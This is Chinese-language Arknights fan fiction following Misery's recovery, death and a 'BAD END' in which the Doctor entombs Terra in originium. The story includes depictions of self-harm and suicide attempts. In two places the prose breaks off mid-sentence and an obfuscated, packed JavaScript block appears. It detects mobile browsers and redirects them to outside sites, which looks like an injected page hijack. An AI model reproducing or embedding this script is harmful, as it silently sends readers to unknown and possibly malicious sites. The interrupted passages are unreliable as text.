Misery醒来时第一眼看见的是陌生的天花板,左边有一扇窗,窗外缓慢移动的景色告诉他,他现在正在一艘移动舰船上。空荡荡的脖子和重新充盈四肢的源石技艺适应力,室内布置得很温馨,床头的花束被人精心挑选过,花瓣上还挂着饱满的水珠。他隐约记得自己被救走了,还模糊听到了Ace和Pith的声音,难道说…… 咔哒轻响,移动门突然滑向一边,Misery的心一下子悬了起来,在受困如此之久、被迫交出最珍贵的记忆、以为自己此生再也见不到博士的痛苦中,他终于可以再次见到—— “呀,你醒了。你这一觉睡得有够久的,大家都很担心,尤其是博士。”灰发的黎博利走进来,一边记录仪器数值,一边与Misery语气轻松地谈话,“我是Raidian,你现在正在罗德岛号上,由博士指定我全权负责你的康复治疗,有什么问题可以直接问我,我可以回答或者……替你转交给博士。” “博士他怎么了?”Misery语气虚弱中透露出焦急。 “他好得很。”Raidian身后的机械臂交叠像普通人叉腰那样,“你现在感觉怎么样?有没有头晕、困倦、恶心、浑身动弹不得?刚醒过来会有点不适感很正常,这些都是药物的副作用。” Misery抿唇,好像才刚刚意识到自己身体不舒服,老老实实配合黎博利的各种提问。 “这样才是乖孩子。如果疼得受不了,就吃一颗这个瓶子里的药。”她拉开床头的抽屉,将那瓶没有标签的装满白色药丸的瓶子放在床头柜上。 Misery的意识断断续续的,几乎丧失对于时间的感知,房间里也没有电子表提醒他这一觉过去的时间。但他有一扇心爱的小窗户,屋外的阳光和一望无际的广阔天地,有时被人完全打开,有时关上一半,连吹进来的空气都有股甜味。白炽灯打下的重影仍然缠绕在他深夜的梦里,有时在漆黑的夜晚醒来他分辨不出自己究竟是做了一个关于阳光和花朵的梦,还是自己真的已经离开了那里。 无论是现实还是梦中,他都没能见到博士。 博士一定在生他的气……甚至不愿意再见到他。脑海中仍然有股被人窥探的恶心感挥之不去,他拒绝回忆有关博士的过去,可是再往前,在巴别塔之前的记忆又像蒙上了一层灰沉沉的雾霭,尝起来一股苦涩的味道。 Misery已经可以慢慢坐起来一点,虽然四肢僵硬、活动缓慢,手指稍一用力就会抖得不行,瘦得可以看见皮下清晰的青色血管,但每天服下的药从半碗的量逐渐减到一个药瓶盖,输液袋里的药物换了好几种,最终固定在每天两袋不同颜色的液体。他清醒的时间也越来越长,不需要借助医疗床的辅助也能独立坐起来,长久凝视窗外的风景。 博士踏进病房的那天天气很好,人类也说不清是他刻意挑选了这一天,还是恰好遇到这样好的天气。Misery坐在床上转头看向窗外,病床应本人要求往窗边挪动了一段距离,萨卡兹的上半身沐浴在暖金的阳光里,从头发到皮肤白得发亮,像要在光中消失了一般。 博士面无表情走近,他的脚步很轻,以至于Misery一边回头一边像往常那样打招呼:“Raidian你来……博士。” Misery几乎毫不掩饰脸上的惊喜,但他全身上下只有尾巴能够自由表达主人的想法,在身后摇个不停,“听Raidian说你最近好像在忙什么,别太累了。” 这很Misery,博士想,他既没有问博士为什么现在才来看望,也没有问自己的身体情况。 “不像某个萨卡兹,我心里很有数。”Misery闻言缩了缩脖子,还好博士没有继续责难他,而是跟平常Raidian做的一样,问他一些身体上的症状,记录仪器上的数值。 Misery全程非常配合,小心翼翼观察博士的神色。人类查完表以后放下记录本,深吸一口气,往前迈进一大步,揪起Misery松垮的病号服领口,巴掌已经高高地扬在半空中,但Misery完全没有躲避的意思,他闭上眼睛等候属于他的审判落下。 几个紧张的呼吸以后,巴掌最终没有落在萨卡兹身上,博士像一下子泄了气,松开手,他紧绷的神情也彻底垮掉,眉眼间露出疲态,“你不觉得自己有错,即便我打你,你也不会改,是不是?” Misery心虚地咽了口唾沫,他的视力也没以前好,现在离得够近才能发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427137|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现博士身上的细微变化。博士瘦了,头发也变长了,曾经明亮的眼睛里覆盖上了厚厚的阴霾,眼窝凹陷,乌青的黑眼圈,头发也草草扎着,手指上没有任何装饰物——Misery自嘲想道,当他把戒指还给博士时就该明白,是他自己先一步破坏了誓言,他又有何颜面希冀博士还留着那枚戒指呢? “我听说和平协议已经签订,泰拉又一次化解了迫在眉睫的危机,可你为什么看上去还是这么累呢,博士?” 人类的表情再次变得紧绷,Misery叹了口气,抬起还挂着留置针的手,抓住床沿,尽他最大的努力往旁边挪了挪,“太累了就躺在这里休息下吧。” 博士绷着脸爬上了不够宽裕的单人病床,但它窄得刚刚好,人类背靠着扶手脑袋就只能埋进萨卡兹满是消毒水和药味道的怀里,他伸手抱紧了现在可能比他还要脆弱的Misery。萨卡兹没有扎针的那只手一直温柔抚过他僵硬的后背。 博士再开口的语气变得温和起来,在这个姿势下Misery也看不见他的表情,他放松了对五官的管控,重新变得生动。 “对不起,我不是故意不来看你的。”博士攥紧手指,“我很害怕……” “嗯,我不怪你,博士,我会一直在这里等你,直到你准备好的那天。” “我也不是故意丢掉你的戒指,我以为你——”那个词语卡在人类的嘴里,他最终没有勇气说出,“我把它埋在拉特兰边境的花海下,那里很漂亮,而且不会孤单。” “没关系的,戒指还可以再做,我更关心的是在我面前的你。累了就睡一觉,好吗?” “……我很想你。”人类的嗓音渐低。 “嗯,我也很想你,因为想见你,所以我会很努力活下去。” “再多陪我一阵吧……” “好。” Raidian进来关窗时见到的就是两人在阳光下相拥睡着的场景,她叹了口气,从门口安静离开。 Misery始终没能从病床上站起来,他坐在轮椅上,陌生但是话多的凯尔希推着他参观罗德岛的上上下下。Mechanist在工作间朝他扬了扬扳手打招呼,热情询问是否需要在轮椅上增加些功能,比如说可以硬抗机甲的机械臂、十秒内跑到一百码的动力,他的头盔被Mantra从身后敲了敲,特殊构造的尾巴在头盔内造成了连环震动,导致这位机械师倒在原地动弹不得。 煌屡次想从凯尔希手里抢过轮椅的驾驶权,但她低估了这位新凯尔希的驾驶技术,凭着硬技术没让煌沾到一点,只是可怜了Misery在轮椅上被转得头晕目眩,最后是Raidian的机械手控住了轮椅旋转的把手获胜。Sharp和Stormeye在训练室对练,当他们邀请Misery加入时,Misery犹豫着还是拒绝了这个提议,他那不太尽职的守护者凯尔希似乎还跃跃欲试想看他怎么以弱胜强,对抗两位强大的选手。 迷迭香为他摘来了许多的鲜花,原来床头那些漂亮的花束,都是这位女孩的精心作品,“你一定要早点好起来啊,你是博士的家人,也是我们的家人。” Misery已经能够熟练使用源石能轮椅,自由出入罗德岛,他不常在晚上打扰博士,但今夜博士的办公室内依旧亮起光,他犹豫了一下才用背后加装的机械臂轻轻推开门。博士这样熬夜身体会垮掉的,只是小小的提醒一下,应该不会让博士讨厌吧? 惨白的灯光下,人类的手上插着输血管,旁边放着半满的血袋、奇怪的仪器和他无比熟悉的每天都会用到的无标签淡黄色输液袋。博士虽然马上把针拔出去了,用纱布盖住因为粗暴的拔针往外冒血的伤口。博士不知缘由的疲惫、眼底的乌青、失去血色的嘴唇、Raidian的欲言又止、大家对他的格外友善和关照……一切都连起来了。 他和博士不约而同犯下了同样的错误。 Misery拔掉了手背上的留置针,他的伤口同样往外渗出血液——里面又有多少是博士的? “我不接受,这样活着……”他的语气破碎,“究竟有什么意义……” “什么意义?你活着就是最大的意义!你难道要让我眼睁睁看着你再死一次?”博士固定好纱布,扎紧还未装满的血袋。他走到Misery身边不顾萨卡兹的强烈反抗抓过他的手掌又重复了一次包扎动作,现在的Misery连制止他的力气都没有,反而在拉扯中博士露出藏在宽大的衣袖下满是针孔的胳膊又一次刺痛了萨卡兹的眼睛。 “我不输你的血。”Misery唯一能够反抗的金色眼睛执拗地瞪着博士,“你不可能永远把我锁在床上,只要我能动,哪怕只有一根手指能动,我也会把针头拔出去。你也许已经忘了,我还是个空间术士,而且是很厉害的那种。” 博士包扎的动作一顿,他脸上很明显的受伤的表情让Misery后悔了一瞬,但他的意志愈发坚定起来,他握住博士颤抖的手掌,“被关在巴别塔的时候我有很多时间……用来想自己的死亡。能够活着回来见你一面就是我唯一的念想了,如今这个愿望已经实现,谢谢你为我做的一切,我很感激,也很幸福。如果你以为我会像Scout那样祝福你,那就大错特错了,我希望你不要原谅我,永远记住我这个不识好歹的、可恶的萨卡兹。” 滚烫的泪水顺着人类的面颊流下,滴在两人交握的手中。 “我有我的骄傲和坚持,如果你还爱我,博士,请尊重我的选择。 “……可以的话,就把我葬在迷迭香经常去的那片花海吧,我也想亲自去看一看,那扇窗后的风景有多么美丽。” 没了那袋特殊的液体,Misery的身体情况断崖式下跌,连Raidian都被闭门在外,仅有博士和凯尔希两人可以进入病房。Outcast是最早离开的,她像一阵风一样只留下了一张留言:我不适合出现在离别的场合,再会了,好友们,在另一片蓝天下再见。 当那一天最终来临时,博士遣散了罗德岛上还不愿意离开的其他人,一个人推着萨卡兹的轮椅,按照约定走到那片花海中间。 不知道博士用了什么方法,Misery的外表没什么异常,但他胸口以下的身体已经完全失去知觉。他的视力大不如前,金黄色的花海在他眼里也像一大块他曾经最喜欢带的护目镜的镜片,颜色与光亮不断消退成模糊的一个点,但钻入鼻腔的香气依旧吸满了阳光的味道。博士引导他的手去触碰那些柔软的存在,但他已经不太能控制好自己的力气了,在压塌花枝之前他请求博士跟他多说说话。 “我曾经听死魂灵说过,听觉是最后一个消失的,我想多听听你的声音。” “好……可我不知道该说什么,”博士哽咽的声音被他努力吞掉,但还是没忍住吸了吸鼻子,“你想听什么?” “我想想……我想听你还没讲完的故事,想听你讲像弗里斯顿那样有趣的同事,我想听你的过去,也想听你的未来……还有好多……好多……” “宇宙起源于一场大爆炸,所有的物质和能量——这些词语我还没教过你,你可以当作全泰拉的源石能源都被压缩在一粒羽兽蛋里,那里面很热很挤,然后蛋壳承受不住这股力量碎掉了。巨大的能量彻底没有了阻碍,它向整个泰拉扩散,像美丽的烟花一样,等温度没那么高了,身体也没那么沉了,它们有的落进河流和山川,有的随着云朵飘远。它们之中有的喜欢热闹,有的喜欢独来独往,于是诞生了源石矿脉和天灾。 “再然后,第一个生命出现了,它看起来既不像你也不像我,它很渺小,连放在显微镜下都不一定能找到。它跌跌撞撞长大,特别孤独,但好在很快,一个它又一个它出现了,它们簇拥在一起,组成了更大的更团结的更坚韧的生命……沧海桑田,斗转星移,它最终长成了你和我的样子,我们跨越百亿年再次相遇本身,就是一场奇迹。” 32.31 请在音乐软件上打开这首歌观看本章:One Cut Deeper 谜底就在谜面上,一切的开端亦是一切的终结 —— 寒冷。 寂静无声。 冰冷潮湿的波浪漫过脸颊,细细的沙粒推上皮肤。 Misery睁开眼睛,他在一片钴蓝的海边醒来,海水托起他的身体,将他缓缓带到岸边,海潮拨动沙滩的弦,仿佛在低声絮语,催促他离开这里。 他坐起身,踩着湿软的沙子,浑身湿湿嗒嗒往下滴水。 他已经死了吗?这里是……死亡的世界? 蓝到异常的海洋中,浑身爬满推藤壶与附肢的鲸鱼露出水面,纯黑的眼睛像一颗过熟的葡萄,布满血丝和晶莹的液体,挂在躯干上摇摇欲坠。Misery继续往前走去,许多完全没见过的奇特的鳞爬上海滩,它们有的生长出了同样的附肢,有的长出了柔软多褶的鳞鳍,有的顶着在空气中逐渐干瘪的水膜往前努力扭动肢体。这群奇特的鳞还未成功上岸就已经死伤大半,化作一摊不明液体,回到大海的怀抱中。 Misery看向它们坚持不懈前往的目标,岸边不远的地方树立着高耸入云的黑橙色源石,有规律的晶体连成片构成坚不可摧的墙壁。偶尔有幸运儿抵达这面墙前,甫一相触,也会被滚烫的源石灼伤,与那些在岸边搁浅的同类一般融化。 雷声轰鸣,大海咆哮,巨大的鲸鱼掀起滔天巨浪扑向源石的墙壁,溅起的海浪又一次淋湿了萨卡兹的身体。轰隆隆,轰隆隆。他的目光追随着响动看去,墙壁被这遮天蔽日的一撞成功出现破洞,四周的源石往内合拢,迅速生长填补了空隙。而搁浅的鲸鱼再无一击的能力,悲怆的哀鸣声被涌上来的源石吞没,它的血肉被分割,骨架被融化,纯黑色的眼珠坠落在地化成墨色的水。 Misery为这样壮观的场景而一时失语,潮湿的腥气漫进鼻腔,干燥的海盐颗粒凝结在皮肤和衣服表层,随着他往前迈步的动作簌簌下落。 靴子停在源石前,他也会被源石灼伤吞没吗?为了印证这个想法,他向前伸出手去。 滚烫的源石纷纷崩碎往后退,留给他温暖的气浪,从这个小孔看过去,源石的墙壁后面空无一物,纯白色的光芒淹没了一切,也淹没了他的手掌。他继续向前。 源石敞开它洁白的胸怀迎接了他的进入,白光吞没了萨卡兹的身影。 在他身后,整块源石合拢如初,屹立在海岸边,如同一位冷硬的守护者。 Misery在一团温暖的白光中再次睁开了眼睛。熟悉的天花板,罗德岛精巧而冷硬的线条框架,他缓缓转过头,看到了白色的脑袋和绿色的菲林耳朵,察觉到细微的动静,那双耳朵动了动,熟悉的菲林惊喜道:“你终于醒了!你都不知道博士为了救回你熬了多少个白天黑夜,费了多大劲!” “我……”他开口,但声音不再因为源石结晶的侵入喉管而干涩,空气顺利进入肺部,充盈着每一个舒张的肺泡,“博士怎么样了?” “他在甲板上,”说到这里凯尔希的表情有些犹豫,Misery再次精准无误的视觉告诉他,菲林绿色的眼睛里写满不确定和无奈,“他……在等着你。” “等我?那我得去找他。”说完他就想翻身下床,他的肢体从未如此轻盈,连远在卧病在床以前、尚在巴别塔时的全盛时期都比不上,但凯尔希摁住了他的肩膀。 “慢着来,你新生的血肉很脆弱,博士花了很多精力才调整到这个平衡的状态。来先试试左脚着地……” Misery依她所言,慢慢来,在练习使用这具身体的间隙他继续问道:“其他人呢?那天在罗德岛上我没看见任何其他人,我也没机会问博士。” “罗德岛特别行动小组解散了,博士给他们最后的指令就是回到拉特兰,但不是强制性的。”凯尔希又一次露出了那样的表情。 “拉特兰?为什么?泰拉不是已经和平了吗?”Misery舒展身体,像菲林兽亲一样拱起背部,虽然肢体末端传来一些陌生的感受,但他学得很快,走路和基础的放松动作都没有问题。 “你这一觉睡得很久,这段时间发生了很多事情……” “博士他不会又用了什么伤害自己的方法来——”萨卡兹皱眉道。 凯尔希摇了摇头让他稍微放心了点,但如果博士随随便便就能够奇迹般让他死而复生,那也不必在那段时间如此绝望,面对他的拒绝时哭得那么伤心。想到博士那时的表情Misery心里一揪,当时他只觉得自己去意已定,无论博士怎么挽留都绝不会松口,但造成过的伤害不会因为他的死去而消失,他得向博士好好道歉才行。 “你想知道这一切,去找他吧,珍惜这个机会,现在的他对你知无不言。” 凯尔希把他推出了房门,而这一次,Misery是用自己的双腿站在罗德岛走廊上。 即使无人指引,他也还记得前往甲板的路。路过一个岔口时,他停了下脚步,那道紧闭的房门后,就是他和博士爆发激烈争吵的地方。但那里现在没有照明灯的光亮,Misery多看了一眼就加快脚步离开了。 罗德岛的构造大巧不工,空间利用到极致,却又不臃肿复杂。他的手掌覆上玻璃,这里连接着中央的空腔,可以看到底层运作的能源管线和不断转动的轴承,他的指尖仿佛能够触到核心炉内汹涌澎湃的热浪。 他刚要往前继续走,一阵目眩,他的眼前又一次出现了那片死亡的海洋,无数奇形怪状的鳞扑向阻挡它们的源石,有些聪明的特化鳞长出了羽兽一样的翅膀,冲入云层中再也不见,许久后只有几滴液体从空中落下。 他继续往前走,视觉继续扭曲,陌生的街道和维多利亚的旗帜飘扬在大楼顶部,他看见废墟之下早已没了生气的相拥在一起的母子,看见被雾气缠绕腐蚀的蒸汽骑士,盔甲缝隙里生长的植物也在雾气中枯萎,他看见紫色的火焰同时吞没了军队和平民。 伦蒂尼姆不是已经停火了?……他的疑问还未得到解答,场景再次变换,这一次他认得。 死魂灵熊熊燃烧的炉火边,他看到了双王严肃的神色,特蕾西娅似乎察觉到了陌生的视线,略一皱眉朝他的方向看过来,但那里只有炙热滚烫的灵魂火焰,“巨兽骨架的改造已经完成,厄尔苏拉随时可以启航。” “它会为我们带来胜利。”特雷西斯说。 “但愿,我们能够反制拉特兰的手段不多,但从黑冠中获得的知识已经足够,傲慢的神明设下界线,但阻挡不了生命的自我求救。” Misery心头一凉,他往炉火最旺盛的地方走去,倒塌的双子塔,残缺的穹顶与遍地乐器的残渣,这里像被某种神秘力量袭击过,即使萨卡兹从未来过这里,莱塔尼亚戒律森严的核心地带,但也不至于如此萧瑟,遍地的器物,却不见半个人影。 残破的乐章碎片静静躺在断壁残垣上,萨卡兹低头拾起,却在手中破碎成黑色的细沙,随风飘散。 他摇了摇头,继续往前走。 乌萨斯的城门倒下,无数的感染者涌入,用他们的武器和身体向城中承平日久的居民倾泻下怒火。Misery站在城墙之上,内卫们忠诚护卫在王宫前,黑色的国度阻挡着疯狂的起义军,乌萨斯人沉闷的个性在一阵阵的源石自爆中彻底点燃。 卡西米尔竞技场上,感染者骑士的标枪穿过半个竞技场在国民院高官的胸口撕开一个大洞,全场哗然,这位感染者骑士不等周围的守卫上场,横过手里的刀刃自刎,血与源石粉尘同时染上了竞技场修剪齐整的茵茵草坪。 血色同样染红了田地,大荒城笼罩在无穷无尽的恐怖之中,外面的人进不去,里面的人出不来。Misery也只能远远看着被乌云笼罩的移动城市,阳光不再,万物枯萎,这里又将成为地图上的一处不可接近的黑色标注。 再一睁眼时,他又回到了罗德岛宽敞明亮的走廊,只要踏上最后的阶梯,他就能见到博士。但他内心盛满不好的预感,自从醒来以后他不再感受到血脉里的连接,听不见死魂灵嘶哑的低语,如果不是头上的角和身后的尾巴还在,他甚至怀疑起来自己已经并非萨卡兹。这预感与他失散的天赋无关,而是泰拉的命运又一次悬在丝线上。 “你来了。” Misery刚踏上甲板,就听到熟悉的声音传来,那话语里不再有深沉的疲惫,而是无尽的轻松与肆意。 他看到博士迎着风转头面向自己,人类的兜帽不知道是自己摘掉的,还是被风吹掉的,白色的发梢在风中飘荡。他的呼吸平稳,面色红润,头发再次修剪齐整,罩在外面的防护服也换上了新的。Misery松了口气,至少在他缺失的这段时间里,博士把自己照顾得不错。 “对不起,虽然现在说这句话有些晚,但我不该那样说你,我知道你没那个意思,我也相信你会尊重我的意愿……”Misery朝他走去,风也同样扬起了他过长的额发。 但博士只是摇了摇头,他的手触上靠近的萨卡兹的胸口,温热的感觉隔着薄薄的病服从博士的掌心传来,Misery几乎可以感觉到自己体内的血液因为博士的触碰流动加快,他的内脏同样也响应着这股奇怪的悸动。 “没关系,一切都要结束了。” 博士牵起他的手掌离开了空旷的甲板,十指相扣,远处的天灾云内酝酿着新一轮的风暴。 Misery耐心等待着博士的解释,但人类却领他去了意想不到的地方。从衣柜里挂的老旧的防护服和换洗的浅色内衬、桌上打开的一本书、旁边立着还未息屏的平板来看,这里是博士的个人房间。 正当他疑惑的时候,博士把他推到椅子上坐下,垂下脑袋吻了他。 在这样私密、不被人打扰的空间内,人类终于向他敞露了内心。远处的雷声阵阵,忽闪而过的画面,都无法阻挡Misery金色的眼睛聚焦在自己的爱人身上。他们已经太久没有这么亲密过了,和博士亲热的画面仿佛还在昨天,但直到亲自触碰过温暖的躯体,才让Misery更加深切体会到他有多么想念博士。 行动足以代替所有无力的言语,他与博士交换了一轮又一轮的呼吸,彼此的衣物早就纠缠着掉在床边。新的身体重新赋予了他比以往更加强大的力量,却又能控制得精准自如,也不知道博士是怎么做到的,他在加深这个拥抱的间隙询问。博士轻声笑了笑,他的手指划过萨卡兹看不出缝合痕迹的完美胸口,像得意于自己完美的作品。 “我为你造了源石器官,一次超前大胆的尝试。”人类隐去了那些失败和绝望的时刻,他不得不一次又一次目睹着希望的消逝,但好在源石回应了他,那个人回应了他,博士露出如释重负的微笑,“我成功了。” 但Misery嗅到了看似轻松的语调背后的伤口流露出的血腥气,他当然听说过这段时间博士身上发生的事情,无论是精湛的战场指挥,还是拉特兰发出的那惊天的一击,但那只是表面,为大众所看见的部分,博士本人身处风暴的中心却平静得不同寻常。他在人类眼睛里找不见属于过去那个学者的光芒了,有的只是一个历经了战场苦痛与爱人得失的伤心人。 Misery的回归没有改变什么,他痛心地想道,也许Ace说的是对的,他并不能改变博士,反而将人类拖入了痛苦的漩涡,他的爱成为又一道套在博士身上的枷锁,将游离于战争与政治之外的人类卷入泰拉无穷无尽的纷争。 “我爱你,博士,我当然无可救药地爱着你,我愿意付出我所有的灵魂与生命……只要你能够获得幸福。”Misery眼眶一热,但他忍住了不属于自己的泪水,这情感来自于他处,来自与他亲密相连的另一个人,“但你看起来为什么这么悲伤,这么难过?” “噢,Misery……我可怜的Misery,是时候把一切的真相都告诉你了。”博士压下他的后颈,萨卡兹已经失去作用的独眼纹路贴上人类的额头。 “思维共振。” 在人类的呢喃声中萨卡兹的意识沉入另一片海洋。 无边无际的天灾云笼罩了大地。 一则加密的文件上,哥伦比亚搁浅的航空项目转为了高能武器项目,麦克斯总统放下手中的文件,他办公室的电话已经响爆了,但他没空去管惊慌失措的下属们,因为头顶的天灾正在形成,任何城内的人只要一抬头都会怀疑地狱的大门已经对世人敞开。 大炎百灶城内,司岁台敲响警钟,所有管辖下的巨兽碎片都被召集于此,他们已经无暇去管岁的威胁了,因为所有移动城市上方都同样闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431192|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耀着源石翻滚的致命红光。 厄尔苏拉的第一次远航的脚步被源石阻挡,不在预报中出现的源石风暴笼罩在飞船周围,将这艘巨兽骨架构成的战舰击落在地。死魂灵的炉火噼里啪啦作响,人们的恐惧集结成海洋,尖叫声、哀嚎声像波涛上的一簇簇白色浪花。 汐斯塔的小羊们躲进多利的怀抱里,他们注视着同样笼罩在新汐斯塔城上的天灾云层。带着红蓝两色丝带的小羊流下泪水,她看向多利,似乎在寻找一个答案。粉色的大羊摇了摇头,摘下头顶的黑色冠冕,让它出现在小羊的头顶,语气哀伤道:“去做你想做的事情吧,阿黛尔,这一次我不会制止你了。” 谢拉格圣山上,耶拉抱紧了在祂怀中颤抖的圣女,祂望向笼罩在图里卡姆城上的云层。谢拉格的人民还未见过此等天象,只有去过外面的人知晓这代表着怎样的恐怖与噩梦,纷纷祈祷耶拉在上。但这一次,女神也许不能再庇佑他们了。 伊比利亚寂静的城镇中,在地上爬行的生物因为来自天空的响动抬起头,当云层与风暴已经成为常态,它们垂下脑袋,连一丝疑惑都不曾有,继续遵循着刻入血肉里的指令,为大群开疆拓土,找到更多属于陆地的同胞。 萨米最深处的雪原里,虚弱的祖灵之父抬起祂的头颅,森林哀鸣不绝,树梢上的积雪被震落,纯白色的寂静即将被打破。 铺天盖地的源石降落地表,以恐怖的速度包裹、同化一切。 痛苦、恐惧、悲伤、愤怒、迷茫……太多太多的情绪,从源石的另一端源源不断传来。Misery眼前浮现了每一个面临终结时泰拉人的脸。他们的人生、记忆、情感、过去与未来,都被源石吞没,像琥珀中漂亮的蝴蝶一样,残忍而美丽陈列在萨卡兹的面前,Misery看得清每一个细枝末节。 博士的手指轻柔擦去他流下的眼泪,人类温柔的声音就像来自于另一个世界一样:“对不起……是我摧毁了你的世界。 “我从来都不是什么救世主,我没能救下我的文明,我也救不了泰拉。我只能缩短你们的痛苦……尽管你们把它称之为毁灭。 “与你同行的路上,我思考了很久,也逃避了很久,现在,我终于可以完完全全告诉你一切。源石并非你们苦难的来源,它对泰拉造成的伤害是无意中的巧合。源石既是能源,也是信息流,它储存着我的文明的一切,”说到这里博士的语气变得眷恋,“很快,它也会储存上泰拉的一切。在曾经毁灭过我们的灾难来临以前,泰拉会获得难得的平静。” Misery锋利的牙齿咬破了嘴唇,血液沿着他的嘴角渗下,眼泪如同失控的阀门倾泻而下。在无限的痛苦之中,他注视着博士的眼睛,人类不需要他开口就知道Misery想问什么,他们的思维高度同频,一点点涟漪也会被捕捉到。 “……你想问我为什么不把你也一起放进源石里,对吗?”博士古井无波的眼睛里终于有了一丝波动,“因为你答应过我,会永远陪着我,陪我一起活下去。我们背负着同样沉重的罪孽,几乎等同于整个文明的重量……只有这样,你才能彻底理解我。” 人类紧紧拥抱在他怀里颤抖抽搐的萨卡兹,“这也是不完善的源石器官导致的副作用,你会受到源石信息流的影响,我虽然可以用思维共振帮你分担掉一部分,但我想这不是导致你痛苦的真正原因。你的善良,共情心,为他人承受的痛苦而流下的眼泪,这些柔软的部分……才是真正的原因。” 天灾笼罩着整个泰拉,直到源石铺满地面,阳光才再次透过高耸的源石缝隙落下。第二发天堂支点的打击轰散了笼罩在拉特兰上的天灾云,得以保全这一片仅剩的乐园,唯一得以幸存的拉特兰人在律法的指引下紧闭大门,不再外出。弗里斯顿看向被源石阻断的通讯落下一声沉重的叹息,虽然早有预见这一天的到来,但是没想到博士做得如此决绝。 当萨卡兹又一次忍受不了痛苦挥刀割开手腕时,博士夺下了他手上的刀。人类的耐心是有限的,而萨卡兹的自残行为不仅徒劳无用,而且只会一次又一次剖开博士所剩不多的心。但Misery别无他法,一路走来他见证过一切的发生,他无法因此责怪博士,也不舍得责怪博士,于是刀刃向内,撕碎了他的心。博士说得对,他并没有因为源石传递来的信息而痛苦,而是更加内切的,因为他的软弱,他的逃避,他浪费了无数人为之付出的努力,他成为了将博士推上这个位置的可恨帮凶。 他宁愿吞下所有苦难的恶果,却不想因此让博士彻底坠入深渊。他有何颜面苟活于世?他有何颜面完好无损地待在博士的身边?在整个泰拉沦陷的时候,他又怎么能因为神明的偏袒逃离厄运而心安理得接受这一切? 博士又一次包扎好他的伤口,萨卡兹的精神却一路萎靡不振下去。Misery开始频繁出现幻觉,不再聪慧敏锐,反应迟钝,时常在半夜惊醒,然后趴在马桶上呕吐半宿。即使有凯尔希的帮忙看护,Misery也仍旧会寻找一切机会尝试终结自己不再有尽头的生命。他时常望着自己的双手,露出绝望而空洞的表情,无时无刻提醒着博士犯下了何等的罪孽。 为了终结缠绕在他们之间的折磨,也为了寻回内心的片刻安宁。在为萨卡兹打下惊厥后的一针镇定剂后,博士终于下定决心,与他一同躺入了石棺。 凯尔希守在石棺旁,看着人类如此柔软深情地抚过萨卡兹因为镇定剂而难得恢复平静的安宁睡颜,她重新萌生了一些对于生命与意义的疑惑,但这一次,她可能没什么机会去找到答案了。 “我不是一个尽职的监护人,也不是一个尽职的伴侣,我是最差劲的例子,不值得你学习。”博士握着她的手掌轻声说道,“但我终于可以继续履行我的责任,身为文明的守望者,这是我唯一能做好的事情。等到源石铺满整个星球的表面,等到灾难不再笼罩在文明的头顶……到那时再唤醒我吧,凯尔希。” 罗德岛号孤独行驶在源石地面上,过多的源石沉入了泥土与岩石的每一丝缝隙,远远看过去像在橙色的海洋上行驶一样。源石的从天而降既是开启泰拉文明的钥匙,同样也宣告了结晶时代的结束,仅剩荒芜的泰拉陷入永恒的宁静。 泰拉成为了源石的星球。 BAD END One Cut Deeper 33.32 请在音乐软件打开这首歌观看本章Iris鸢尾花 —— Misery在一片干燥而温暖的沙滩上醒来。 细软的沙子填满了指间的缝隙,金灿灿的环绕着他。萨卡兹捂着脑袋爬起来时还有点头晕,他脑海里的记忆还停留在博士未讲完的故事上。太阳以肉眼可见的速度往海底沉下,海面浸染成滚烫的殷红,头顶的流云也如沙画一样,被未知的手拨散变换。 “啊……你醒了。” 一声轻叹,Misery警惕朝那边望去,不远处深棕长发的神秘女人坐在沙子上,她浅淡的白色外套淹进沙砾中,丁香紫的条带像星环一样围绕在她身侧,她好奇不带有恶意的眼睛打量着他,深色瞳孔中亮起棱形的白色光环。 “你是谁?这里是哪里?”也许因为对方是这里唯二的生物,而且Misery虽然从没见过她,但总感觉对方非常的熟悉,连衣服的制式和胸口的证件牌都很像…… 博士。 “有许多人向我提出过这个问题,但恐怕连我自己都没法给出一个完整正确的答案。”她的声音温柔中又带有几分犹疑,轻飘飘的像拂过的一阵冷风。 “我最后见过的人是博士,既然我还活着——虽然这句话得打上一个问号,但我还有意识,还能思考……是博士送我来这里的吗?” 她露出微笑,仿佛听到了什么好消息一样:“不,没有人是自愿来这里的。你很不幸,也很幸运,我是来送你一程的。” 她站起身,往前走去,海水淹过了她银白色的皮鞋,湿润的水蜿蜒而上,像打湿一张纸一样,水痕从脚踝处开始像蛛网往上蔓延。 “等等!”虽然完全不清楚情况,但怎么看都会觉得对方面临着某种未知的危险,刚刚还平静的蔚蓝色的海洋突然波涛汹涌,如同张开一张大网,即将吞没那个干枯苍白的背影。Misery追到海岸边,低头看向水面寻找下脚的位置,但水中的倒影没有自己,只有一整个被源石包裹的恐怖身影,他被吓得后退一大步,连忙检查自己身上,没有源石的凹凸不平,连手臂上外露的源石结晶也已消失不见。 “不要走入大海,你该回头离开了。”女人半边身子已经淹没在海水里,她转过身朝他微笑,“还有,如果可以的话,替我向博士问个好,我能理解他为什么一直不来见我。尽管能够理解,可思念啊,总是难缠……” 她的声音被海潮彻底吞没。 白光覆盖了Misery的视线。等他再次睁开眼睛时,那股轻飘飘的感觉已然不见,他仍旧躺在熟悉的医疗室,但这一次他可以凭借自己的力量坐起来。 